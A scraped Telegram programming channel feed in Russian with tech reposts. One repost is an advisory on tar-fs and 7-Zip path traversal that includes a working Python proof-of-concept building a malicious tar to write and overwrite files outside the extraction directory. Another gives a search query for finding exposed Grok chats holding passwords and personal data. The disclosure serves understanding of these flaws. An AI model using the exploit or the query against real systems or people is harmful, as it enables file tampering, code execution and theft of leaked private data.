1.83K subscribers
3.24K photos
127 videos
15 files
3.52K links
Блог со звёздочкой.

Много репостов, немножко программирования.

Небольшое прикольное комьюнити: @decltype_chat_ptr_t
Автор: @insert_reference_here
Download Telegram
#prog #article

Лежало в закладках с аж 2023 года, при том, что давно прочитал.

A fork() in the road (pdf)

The received wisdom suggests that Unix’s unusual combination of fork() and exec() for process creation was an inspired design. In this paper, we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability. We catalog the ways in which fork is a terrible abstraction for the modern programmer to use, describe how it compromises OS implementations, and propose alternatives.

As the designers and implementers of operating systems, we should acknowledge that fork’s continued existence as a first-class OS primitive holds back systems research, and deprecate it. As educators, we should teach fork as a historical artifact, and not the first process creation mechanism students encounter.


Один из главных аргументов — само существование fork() постоянно сказывается и на дизайне OS, и на дизайне программ, причём не в лучшую сторону.
👍11🔥1
Forwarded from шитпостинг.
😁21😍18🌚3
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740

В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.

Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.

Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.

Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar


PoC

import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
😁1
Добрый день
пока сбывается только первая часть картинки
21🤡3🖕2🤮1😭1
Forwarded from Too Long, Did Read
Страшилка про VPNы

Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента.
Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE).
Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”.
Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло.

Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай.
В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д.

- Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024.
Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки.
Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств.

- Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”.
В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google…
Очень подробный технический разбор этого кейса.

- В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN.
Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим.
По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось.

Какие можно сделать выводы из подобных историй?

Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом.
Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку.
Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало.

Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать.

Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений.

Честно говоря, что со всем этим глобально делать я не знаю.
Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так).

И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае.
Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже.

Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета.
А вы как думаете?
😭9🤔4😁2🥴1
венсдей май дюдес
🔥17👍1
Forwarded from Добрый вечер, я диспетчер
This media is not supported in your browser
VIEW IN TELEGRAM
Это мимо меня пролетает жизнь
🌚13😭7
Уведомление от банка, которое мы заслужили. В России ещё что-то можно делать? Ну там срать, дышать, спать хотя бы?

А раньше первое сентября было про ручки, знания и "линейки"...
😢227🤡5😁4👍1🤯1
Ещё один #prog квиз, на этот раз про конструктор Date в #js:

jsdate.wtf

(лично я набрал 9/28)
😁8👎1
Forwarded from Neural Machine
Я считаю, что каждая собака в мире должна быть счастлива.
10
Forwarded from Не баг, а фича
⚡️ Сотни тысяч переписок с Grok внезапно ОКАЗАЛИСЬ в Googleрасследование Forbes показало, что в открытом доступе лежат пароли, рабочие документы и личные данные пользователей.

Причина проста: если нажать кнопку «поделиться» в чате, то диалог автоматически становится доступен по уникальной ссылке и индексируется поисковиком.

Ирония в том, что совсем недавно официальный аккаунт Grok в X высмеивал OpenAI за «утечки» в ChatGPT и уверял, что у них такой функции нет.

Сейчас единственный способ спрятать переписку — удалить ее. А найти их можно простым поиском:

site:grok.com/share (любое слово)


@bugfeature | #grok
🤯8😁41
Для процессов (по факту, task_struct) в Linux отслеживается два времени с момента запуска: start_boottime, который включает в себя время, пока система была в состоянии сна, и start_monotonic, который не включает.

Как получить start_boottime из юзерспейса? Через /proc/{pid}/stat, где это 22-ое поле в строчке (правда, только с округлением до тиков, по умолчанию 100 тиков в секунду).

Как получить start_monotonic из юзерспейса, буквально соседнее поле в task_struct? А никак.

#бомбёжкипост
🔥12😁8🤔2😭1